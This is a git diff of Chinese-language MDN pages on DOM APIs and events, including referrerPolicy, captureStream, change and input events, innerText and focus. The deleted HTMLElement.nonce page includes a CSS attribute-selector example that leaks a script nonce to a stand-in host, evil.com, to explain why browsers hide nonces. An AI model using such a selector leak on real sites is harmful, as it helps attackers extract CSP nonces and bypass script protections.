-elt.referrer = "no-referrer";
-
-var div = document.getElementById("divAround");
-div.appendChild(elt); // 点击该链接接时不会发送 Referer 请求头
-
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrer attribute.
- -

浏览器兼容性

- -
{{CompatibilityTable}} -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

[1] 该特性目前默认为关闭状态,请通过将 network.http.enablePerElementReferrer 选项设置为 true 来开启。

-
- -

相关链接

- - diff --git a/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html new file mode 100644 index 0000000000..b3e30b3fe2 --- /dev/null +++ b/files/zh-cn/web/api/htmlanchorelement/referrerpolicy/index.html @@ -0,0 +1,116 @@ +--- +title: HTMLAnchorElement.referrer +slug: Web/API/HTMLAnchorElement/referrer +translation_of: Web/API/HTMLAnchorElement/referrerPolicy +--- +
{{APIRef}}{{SeeCompatTable}}
+ +

HTMLAnchorElement.referrer 属性对应于 HTML 中 {{HTMLElement("a")}} 标签的 {{htmlattrxref("referrer","a")}} 属性,它可以控制用户在点击这个链接时所发出的 HTTP 请求的 Referer 请求头的值。

+ +

语法

+ +
refStr = anchorElt.referrer;
+anchorElt.referrer = refStr;
+ +

属性值

+ +
+
+
    +
  • "no-referrer" 意味着不要发送 Referer 请求头。
  • +
  • "origin"  意味着所发送的 Referer 请求头的值为当前页面的源,即 location.origin 的值。
  • +
  • "unsafe-url" 意味着所发送的 Referrer 请求头的值为当前页面完整的 url(即 location.href)去掉尾部的哈希(即 location.hash)之后的值。正如该选项的名字所言(unsafe),此选项是不安全的,它可以将一个 HTTPS 页面的路径信息透露给第三方。
  • +
+
+
+ +

示例

+ +
var elt = document.createElement("a");
+var linkText = document.createTextNode("My link");
+elt.appendChild(linkText);
+elt.href = "https://developer.mozilla.org/en-US/";
+elt.referrer = "no-referrer";
+
+var div = document.getElementById("divAround");
+div.appendChild(elt); // 点击该链接接时不会发送 Referer 请求头
+
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}{{Spec2('Referrer Policy')}}Added the referrer attribute.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}} +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatGeckoMobile("42.0")}} [1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] 该特性目前默认为关闭状态,请通过将 network.http.enablePerElementReferrer 选项设置为 true 来开启。

+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html new file mode 100644 index 0000000000..999485b6f6 --- /dev/null +++ b/files/zh-cn/web/api/htmlcanvaselement/capturestream/index.html @@ -0,0 +1,122 @@ +--- +title: HTMLCanvasElement.captureStream() +slug: Web/API/HTMLCanvasElement/捕获流 +translation_of: Web/API/HTMLCanvasElement/captureStream +--- +
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
+ +

HTMLCanvasElement.captureStream() 方法返回的 {{domxref("CanvasCaptureMediaStream")}} 是一个实时视频捕获的画布。

+ +

语法

+ +
MediaStream = canvas.captureStream(frameRate);
+
+ +

参数

+ +
+
frameRate 可选
+
设置双精准度浮点值为每个帧的捕获速率。如果未设置,则每次画布更改时都会捕获一个新帧。如果设置为0,则会捕获单个帧。
+
+ +

返回值

+ +

对一个 {{domxref("MediaStream")}} 对象的引用.

+ +

例子

+ +
//获取所需要截取媒体流的canvas element
+var canvasElt = document.querySelector('canvas');
+
+//截取到媒体流
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+//使用媒体流
+// E.g.使用RTCPeerConnection来传输给其它的电脑
+// 下面的pc是其他地方创建的一个RTCPeerConnection
+pc.addStream(stream);
+
+ +

产品规格

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
+
+ +

[1] 在Firefox 41和42中,此功能默认是禁用的; 将首选项 canvas.capturestream.enabled 设置 true 。

+ +

看看其他

+ + diff --git "a/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" "b/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" deleted file mode 100644 index 999485b6f6..0000000000 --- "a/files/zh-cn/web/api/htmlcanvaselement/\346\215\225\350\216\267\346\265\201/index.html" +++ /dev/null @@ -1,122 +0,0 @@ ---- -title: HTMLCanvasElement.captureStream() -slug: Web/API/HTMLCanvasElement/捕获流 -translation_of: Web/API/HTMLCanvasElement/captureStream ---- -
{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}
- -

HTMLCanvasElement.captureStream() 方法返回的 {{domxref("CanvasCaptureMediaStream")}} 是一个实时视频捕获的画布。

- -

语法

- -
MediaStream = canvas.captureStream(frameRate);
-
- -

参数

- -
-
frameRate 可选
-
设置双精准度浮点值为每个帧的捕获速率。如果未设置,则每次画布更改时都会捕获一个新帧。如果设置为0,则会捕获单个帧。
-
- -

返回值

- -

对一个 {{domxref("MediaStream")}} 对象的引用.

- -

例子

- -
//获取所需要截取媒体流的canvas element
-var canvasElt = document.querySelector('canvas');
-
-//截取到媒体流
-var stream = canvasElt.captureStream(25); // 25 FPS
-
-//使用媒体流
-// E.g.使用RTCPeerConnection来传输给其它的电脑
-// 下面的pc是其他地方创建的一个RTCPeerConnection
-pc.addStream(stream);
-
- -

产品规格

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Media Capture DOM Elements', '#widl-HTMLCanvasElement-captureStream-CanvasCaptureMediaStream-double-frameRate', 'HTMLCanvasElement.captureStream()')}}{{Spec2('Media Capture DOM Elements')}}Initial definition
- -

浏览器兼容性

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(51.0)}}{{CompatGeckoDesktop(43)}}[1]{{CompatNo}}{{CompatOpera(36.0)}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(51.0)}}{{CompatChrome(51.0)}}{{CompatGeckoMobile(43)}}{{CompatNo}}{{CompatOpera(38)}}{{CompatUnknown}}
-
- -

[1] 在Firefox 41和42中,此功能默认是禁用的; 将首选项 canvas.capturestream.enabled 设置 true 。

- -

看看其他

- - diff --git a/files/zh-cn/web/api/htmlelement/accesskey/index.html b/files/zh-cn/web/api/htmlelement/accesskey/index.html new file mode 100644 index 0000000000..4f76e7f784 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/accesskey/index.html @@ -0,0 +1,23 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API接口 + - 属性 + - 需要丰富内容 +translation_of: Web/API/HTMLElement/accessKey +translation_of_original: Web/API/Element/accessKey +--- +
{{APIRef("DOM")}}
+ +
 
+ +

元素的 Element.accessKey 属性设置了这样一个按键——用户通过敲击这个键把焦点跳转到这个元素上。

+ +
+

注:  Element.accessKey 属性很少使用,因为它很容易与现代浏览器自带的快捷键冲突。为了解决这个问题,浏览器约定accessKey键与特定按键一起按(比如 Alt + accessKey)来生效快捷键行为。

+
+ +

 

+ +

 

diff --git a/files/zh-cn/web/api/htmlelement/animationend_event/index.html b/files/zh-cn/web/api/htmlelement/animationend_event/index.html new file mode 100644 index 0000000000..cb701ac392 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationend_event/index.html @@ -0,0 +1,92 @@ +--- +title: animationend +slug: Web/Events/animationend +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationend +translation_of: Web/API/HTMLElement/animationend_event +--- +

animationend 事件会在一个 CSS 动画完成时触发(不包括完成前就已终止的情况,例如元素变得不可见或者动画从元素中移除)。

+ +

常规信息

+ +
+
规范
+
{{SpecName("CSS3 Animations")}}
+
接口
+
{{domxref("AnimationEvent")}}
+
是否冒泡
+
+
事件可取消
+
+
目标
+
{{domxref("Document")}}, {{domxref("Element")}}, {{domxref("Window")}}
+
默认行为
+
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件目标(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。应等于 {{cssxref("animation-iteration-count")}} 乘以 {{cssxref("animation-duration")}} 的积,动画总活动的时长。
+ +

相关事件

+ + + +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/animationstart_event/index.html b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html new file mode 100644 index 0000000000..53929bfb0d --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/animationstart_event/index.html @@ -0,0 +1,89 @@ +--- +title: animationstart +slug: Web/Events/animationstart +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS3 Animations + - Event + - Reference + - animationstart +translation_of: Web/API/HTMLElement/animationstart_event +--- +

animationstart 事件会在 CSS 动画开始时触发。 如果有 animation-delay 延时,事件会在延迟时效过后立即触发。为负数的延时时长会致使事件被触发时事件的 elapsedTime 属性值等于该时长的绝对值(并且,相应地,动画将直接播放该时长绝对值之后的动画)。

+ +

基本信息

+ +
+
规格
+
CSS Animations
+
接口
+
AnimationEvent
+
是否冒泡
+
+
事件可取消
+
+
目标
+
Document, Element
+
默认行为
+
+
+ +

属性表

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性类型描述
target {{ReadOnlyInline}}{{domxref("EventTarget")}}事件来源(DOM 顶层目标)。
type {{ReadOnlyInline}}{{domxref("DOMString")}}事件类型
bubbles {{ReadOnlyInline}}boolean事件是否正常冒泡?
cancelable {{ReadOnlyInline}}boolean可否取消该事件?
animationName {{ReadOnlyInline}}{{domxref("DOMString")}}与该动画相关的 CSS 属性值。
elapsedTime {{ReadOnlyInline}}Float动画运行时长,单位为秒,与直到该事件被触发的时间相一致,不包括任何动画暂停时的时长。此值应为 0 除非 animation-delay 是一个负值,这种情况下此值为 (-1 * {{cssxref("animation-delay")}}),并且动画将直接从此值后的序列开始播放。
+ +

相关事件

+ + + +

另请参阅

+ + diff --git a/files/zh-cn/web/api/htmlelement/blur/index.html b/files/zh-cn/web/api/htmlelement/blur/index.html deleted file mode 100644 index 96452abcc0..0000000000 --- a/files/zh-cn/web/api/htmlelement/blur/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: HTMLElement.blur() -slug: Web/API/HTMLElement/blur -tags: - - API - - HTML DOM - - HTMLElement - - Method - - Reference -translation_of: Web/API/HTMLOrForeignElement/blur ---- -

{{ APIRef() }}

-

概述

-

blur方法用来移除当前元素所获得的键盘焦点.

-

语法

-
element.blur()
-
-

规范

-

blur

-

相关链接

- -

{{ languages( { "fr": "fr/DOM/element.blur", "pl": "pl/DOM/element.blur", "en": "en/DOM/element.blur" } ) }}

diff --git a/files/zh-cn/web/api/htmlelement/change_event/index.html b/files/zh-cn/web/api/htmlelement/change_event/index.html new file mode 100644 index 0000000000..6a997fc430 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/change_event/index.html @@ -0,0 +1,124 @@ +--- +title: change +slug: Web/Events/change +tags: + - Change + - HTML + - HTML DOM + - HTMLElement + - change vs. input + - 事件 + - 参考 +translation_of: Web/API/HTMLElement/change_event +--- +

{{APIRef}}

+ +

当用户更改{{HTMLElement("input")}}、{{HTMLElement("select")}}和{{HTMLElement("textarea")}} 元素的值并提交这个更改时,change 事件在这些元素上触发。和 {{domxref("HTMLElement/input_event", "input")}} 事件不一样,change 事件并不是每次元素的 value 改变时都会触发。

+ + + + + + + + + + + + + + + + + + + + +
冒泡
可取消
接口{{domxref("Event")}}
事件处理程序属性{{domxref("GlobalEventHandlers/onchange", "onchange")}}
+ +

基于表单元素的类型和用户对标签的操作的不同,change 事件触发的时机也不同:

+ + + +

示例

+ +

<select> 元素

+ +

HTML

+ +
<label>Choose an ice cream flavor:
+  <select class="ice-cream" name="ice-cream">
+    <option value="">Select One …</option>
+    <option value="chocolate">Chocolate</option>
+    <option value="sardine">Sardine</option>
+    <option value="vanilla">Vanilla</option>
+  </select>
+</label>
+
+<div class="result"></div>
+ +
body {
+  display: grid;
+  grid-template-areas: "select result";
+}
+
+select {
+  grid-area: select;
+}
+
+.result {
+  grid-area: result;
+}
+
+ +

JavaScript

+ +
const selectElement = document.querySelector('.ice-cream');
+
+selectElement.addEventListener('change', (event) => {
+  const result = document.querySelector('.result');
+  result.textContent = `You like ${event.target.value}`;
+});
+
+ +

结果

+ + + +

文本输入元素

+ +

对于一些元素,包括 <input type="text">change 事件在控件失去焦点前都不会触发。试一下在下面的输入框输入一些文字,然后点击输入框外的地方来触发事件。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="log"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('log');
+
+input.addEventListener('change', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.target.value;
+}
+ +

结果

+ + + +

浏览器兼容性

+ +

{{Compat("api.GlobalEventHandlers.onchange")}}

+ +

对于一些特定类型的交互是否要触发 change 事件,不同浏览器的意见并不总是一致的。例如在 {{HTMLElement("select")}} 元素中使用键盘导航在 Gecko 中不会触发 change 事件,直到用户按下 Enter 键或将焦点从 <select> 上移走(参见 {{bug("126379")}})。但从 Firefox 63(Quantum)开始,这个行为在已经在主流浏览器中达成一致。

+ +

参见

+ +

{{domxref("NetworkInformation.connection")}} fires the change event when the connection information changes.

diff --git a/files/zh-cn/web/api/htmlelement/dataset/index.html b/files/zh-cn/web/api/htmlelement/dataset/index.html deleted file mode 100644 index 63ab5f48e8..0000000000 --- a/files/zh-cn/web/api/htmlelement/dataset/index.html +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: HTMLElement.dataset -slug: Web/API/HTMLElement/dataset -tags: - - HTMLElement.dataset -translation_of: Web/API/HTMLOrForeignElement/dataset ---- -

{{ APIRef }}

- -

HTMLElement.dataset属性允许无论是在读取模式和写入模式下访问在 HTML或 DOM中的元素上设置的所有自定义数据属性(data-*)集。

- -

它是一个DOMString的映射,每个自定义数据属性的一个条目。

- -

请注意,dataset 属性本身可以被读取,但不能直接写入。相反,所有的写入必须是它的“属性”,这反过来表示数据属性。

- -

还要注意,一个HTML data-attribute 及其对应的DOM dataset.property 不共享相同的名称,但它们总是相似的:

- - - -

 

- -

自定义的数据属性名称是以 data- 开头的。 它必须要遵循 the production rule of xml names 规则,该规则是说它只可以包含字母,数字和下面的字符: dash (-), dot (.), colon (:), underscore (_)。此外不应包含ASCII 码大写字母。

- -

自定义的data 属性名称转化成 {{ domxref("DOMStringMap") }} 的键值时会遵循下面的规则:

- - - -

与此相反的转换,即将键值转换为一个属性的名称,会遵循下面的规则:

- - - -

上面规则的约束是为了保证这两种转换是正好相反的转换。

- -

例如,属性名称 data-abc-def 与键值 abcDef 相对应。

- -

语法

- -
string = element.dataset.camelCasedName;
-element.dataset.camelCasedName = string;
- -

实例

- -
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe
-</div>
-
-var el = document.querySelector('#user');
-
-// el.id == 'user'
-// el.dataset.id === '1234567890'
-// el.dataset.user === 'johndoe'
-// el.dataset.dateOfBirth === ''
-
-el.dataset.dateOfBirth = '1960-10-03'; // set the DOB.
-
-// 'someDataAttr' in el.dataset === false
-
-el.dataset.someDataAttr = 'mydata';
-// 'someDataAttr' in el.dataset === true
-
- -

浏览器兼容性

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support8{{ CompatGeckoDesktop("6.0") }}1111.106
-
- -
- - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support---------------
-
- -

 

diff --git a/files/zh-cn/web/api/htmlelement/focus/index.html b/files/zh-cn/web/api/htmlelement/focus/index.html deleted file mode 100644 index eb47aff613..0000000000 --- a/files/zh-cn/web/api/htmlelement/focus/index.html +++ /dev/null @@ -1,158 +0,0 @@ ---- -title: HTMLElement.focus() -slug: Web/API/HTMLElement/focus -tags: - - API - - 参考 - - 方法 - - 焦点 -translation_of: Web/API/HTMLOrForeignElement/focus ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.focus() 方法用于设置焦点,如果被指定的元素可以获取到焦点,焦点就会被设置到该元素上。得到焦点的元素会作为键盘导航时的当前元素/基准元素,也会接收到相应的键盘事件等事件。

- -

语法

- -
element.focus(options); // Object parameter
- -

参数

- -
-
options {{optional_inline}}
-
An optional object providing options to control aspects of the focusing process. This object may contain the following property:
-
-
-
preventScroll {{optional_inline}}
-
A Boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into view. A value of false for preventScroll (the default) means that the browser will scroll the element into view after focusing it. If preventScroll is set to true, no scrolling will occur.
-
-
-
- -

示例

- -

将焦点设置到文本框上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myTextField").focus();
-}
- -

HTML

- -
<input type="text" id="myTextField" value="Text field.">
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到文本框上!</button>
-
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_text_field') }}

- -

将焦点设置到按钮上

- -

JavaScript

- -
focusMethod = function getFocus() {
-  document.getElementById("myButton").focus();
-}
- -

HTML

- -
<button type="button" id="myButton">Click Me!</button>
-<p></p>
-<button type="button" onclick="focusMethod()">点这里将焦点设置到按钮上!</button>
- -

结果

- -

{{ EmbedLiveSample('Focus_on_a_button') }}

- -

Focus with focusOption

- -

JavaScript

- -
focusScrollMethod = function getFocus() {
-  document.getElementById("myButton").focus({preventScroll:false});
-}
-focusNoScrollMethod = function getFocusWithoutScrolling() {
-  document.getElementById("myButton").focus({preventScroll:true});
-}
-
-
- -

HTML

- -
<button type="button" onclick="focusScrollMethod()">Click me to focus on the button!</button>
-<button type="button" onclick="focusNoScrollMethod()">Click me to focus on the button without scrolling!</button>
-
-<div id="container" style="height: 1000px; width: 1000px;">
-<button type="button" id="myButton" style="margin-top: 500px;">Click Me!</button>
-</div>
-
-
- -

结果

- -

{{ EmbedLiveSample('Focus_prevent_scroll') }}

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
规范状态备注
{{SpecName('HTML WHATWG', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5.1', 'editing.html#focus()-0', 'focus')}}{{Spec2('HTML5.1')}}
{{SpecName('HTML5 W3C', 'editing.html#dom-focus', 'focus')}}{{Spec2('HTML5 W3C')}}
{{SpecName('DOM2 HTML', 'html.html#ID-32130014', 'focus')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#method-focus', 'focus')}}{{Spec2('DOM1')}}
- -

备注

- - - -

浏览器兼容性

- - - -

{{Compat("api.HTMLElement.focus")}}

- -

参见

- - diff --git a/files/zh-cn/web/api/htmlelement/innertext/index.html b/files/zh-cn/web/api/htmlelement/innertext/index.html new file mode 100644 index 0000000000..3062dda65f --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/innertext/index.html @@ -0,0 +1,92 @@ +--- +title: HTMLElement.innerText +slug: Web/API/Node/innerText +tags: + - API + - DOM + - HTMLElement + - Property + - Reference + - 参考 + - 属性 +translation_of: Web/API/HTMLElement/innerText +--- +
{{APIRef("DOM")}}
+ +

innerText 属性表示一个节点及其后代的“渲染”文本内容。 As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.

+ +
+

Note: innerText 很容易与{{domxref("Node.textContent")}}混淆, 但这两个属性间实际上有很重要的区别. 大体来说, innerText 可操作已被渲染的内容, 而 textContent 则不会.

+
+ +

语法

+ +
var renderedText = HTMLElement.innerText;
+HTMLElement.innerText = string;
+ +

输出值

+ +

一段 {{domxref("DOMString")}} 表示一个元素中已被渲染的内容. 如果元素自身没有 被渲染 (e.g 被从文档中删除或没有在视图中显示), 这时返回值与 {{domxref("Node.textContent")}} 属性相同.

+ +

例子

+ +

这个示例对比了 innerText 和 {{domxref("Node.textContent")}}. 这时 innerText 代表的含义就像 {{htmlElement("br")}} 标签, 并且忽略了隐藏的元素.

+ +

HTML

+ +
<h3>Source element:</h3>
+<p id="source">
+  <style>#source { color: red; }</style>
+Take a look at<br>how this text<br>is interpreted
+       below.
+  <span style="display:none">HIDDEN TEXT</span>
+</p>
+<h3>Result of textContent:</h3>
+<textarea id="textContentOutput" rows="6" cols="30" readonly>...</textarea>
+<h3>Result of innerText:</h3>
+<textarea id="innerTextOutput" rows="6" cols="30" readonly>...</textarea>
+ +

JavaScript

+ +
const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;
+ +

结果

+ +

{{EmbedLiveSample("Example", 700, 450)}}

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}{{Spec2('HTML WHATWG')}}Introduced, based on the draft of the innerText specification. See whatwg/html#465 and whatwg/compat#5 for history.
+ +

浏览器兼容

+ + + +

{{Compat("api.HTMLElement.innerText")}}

+ +

此特性最初由 Internet Explorer 引入。 被所有主要的浏览器供应商(vendor)采用后,它于 2016 年正式进入 HTML 标准。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlelement/input_event/index.html b/files/zh-cn/web/api/htmlelement/input_event/index.html new file mode 100644 index 0000000000..7ee1b98ad5 --- /dev/null +++ b/files/zh-cn/web/api/htmlelement/input_event/index.html @@ -0,0 +1,157 @@ +--- +title: input +slug: Web/Events/input +tags: + - HTML DOM + - HTMLElement + - Input + - 事件 + - 参考 + - 表单 + - 输入 +translation_of: Web/API/HTMLElement/input_event +--- +

{{APIRef}}

+ +

当一个 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 value 被修改时,会触发 input 事件。

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{DOMxRef("InputEvent")}}
Event handler property{{domxref("GlobalEventHandlers.oninput")}}
+ +

input 事件也适用于启用了 {{domxref("HTMLElement.contentEditable", "contenteditable")}} 的元素,以及开启了 {{domxref("Document.designMode", "designMode")}} 的任意元素。在contenteditable 和 designMode 的情况下,事件的 target 为当前正在编辑的宿主。如果这些属性应用于多个元素上,当前正在编辑的宿主为最近的父节点不可编辑的祖先元素。

+ +

对于 type=checkboxtype=radioinput 元素,每当用户切换控件(通过触摸、鼠标或键盘)时(HTML5规范),input 事件都应该触发。然而,历史事实并非如此。请检查兼容性,或使用 {{event("change")}} 事件代替这些类型的元素。

+ +
+

注意: 每当元素的 value 改变,input 事件都会被触发。这与 {{domxref("HTMLInputElement.change_event", "change")}} 事件不同。change 事件仅当 value 被提交时触发,如按回车键,从一个 options 列表中选择一个值等。

+
+ +

示例

+ +

每当用户修改 {{HtmlElement("input")}} 元素的 value 时,这个示例会记录 value。

+ +

HTML

+ +
<input placeholder="Enter some text" name="name"/>
+<p id="values"></p>
+ +

JavaScript

+ +
const input = document.querySelector('input');
+const log = document.getElementById('values');
+
+input.addEventListener('input', updateValue);
+
+function updateValue(e) {
+  log.textContent = e.srcElement.value;
+}
+
+ +

结果

+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatus
{{SpecName('HTML WHATWG', "forms.html#event-input-input", "input event")}}{{Spec2('HTML WHATWG')}}
{{SpecName('DOM3 Events', "#event-type-input", "input event")}}{{Spec2('DOM3 Events')}}
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLElement.input_event")}}

+ +
+ +

[1] 在 Gecko 12.0 {{geckoRelease("12.0")}} 之前,用户在输入法中输入时,或者 dead keys were used on Mac OS X 时,Gecko 不触发 input 事件。

+ +

[2] IE 9 在用户删除输入的文字时不触发 input 事件(例如,按 Backspace 或者删除键,或者“剪切”文字).

+ +

[3] Opera 在用户把文字拖进输入框时,不触发 input 事件。

+ +

[4] 事件 target 是光标所在的最内侧的元素。

+ +

参见

+ + + +

此外,还有一个类似的 change 事件。change 触发的频率低于 input - 它只会在用户提交更改时触发。

+ +

+ +

diff --git a/files/zh-cn/web/api/htmlelement/nonce/index.html b/files/zh-cn/web/api/htmlelement/nonce/index.html deleted file mode 100644 index b2c6c829b1..0000000000 --- a/files/zh-cn/web/api/htmlelement/nonce/index.html +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: HTMLElement.nonce -slug: Web/API/HTMLElement/nonce -tags: - - API - - nonce - - 内容安全策略 - - 实验性 - - 属性 -translation_of: Web/API/HTMLOrForeignElement/nonce ---- -

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

- -

{{domxref("HTMLElement")}} 接口的 nonce 属性返回只使用一次的加密数字,被内容安全政策用来决定这次请求是否被允许处理。

- -

在接下来的实现中,有nonce属性的元素只能在脚本中使用(不可以在其他渠道使用,比如css属性选择器)。

- -

语法

- -
var nonce = HTMLElement.nonce
-HTMLElement.nonce = nonce
- -

访问nonce属性值

- -

以前,并不是所有的浏览器都支持 nonce IDL属性,因此在实际应用场景中,尝试使用getAttribute 作为备选:

- -
let nonce = script['nonce'] || script.getAttribute('nonce');
- -

然而,最新的浏览器版本都隐藏了 nonce 值(返回一个空值)。IDL属(script['nonce'])成为唯一的访问方式。

- -

隐藏Nonce是为了阻止攻击者通过某种机制提取出nonce值,比如下面这种方式:

- -
script[nonce~=whatever] {
-  background: url("https://evil.com/nonce?whatever");
-}
- -

说明

- - - - - - - - - - - - - - -
说明状态注释
{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}{{Spec2('HTML WHATWG')}}初始定义
- -

支持的浏览器

- -
- - -

{{Compat("api.HTMLElement.nonce")}}

-
diff --git a/files/zh-cn/web/api/htmlelement/style/index.html b/files/zh-cn/web/api/htmlelement/style/index.html deleted file mode 100644 index 2b825c80cc..0000000000 --- a/files/zh-cn/web/api/htmlelement/style/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: HTMLElement.style -slug: Web/API/HTMLElement/style -translation_of: Web/API/ElementCSSInlineStyle/style ---- -
{{ APIRef("HTML DOM") }}
- -

HTMLElement.style 属性返回一个 CSSStyleDeclaration 对象,表示元素的 内联style 属性(attribute),但忽略任何样式表应用的属性。 通过 style 可以访问的 CSS 属性列表,可以查看 CSS Properties Reference

- -

由于 style 属性的优先级和通过style设置内联样式是一样的,并且在css层级样式中拥有最高优先级,因此在为特定的元素设置样式时很有用。

- -

设置 style 属性

- -

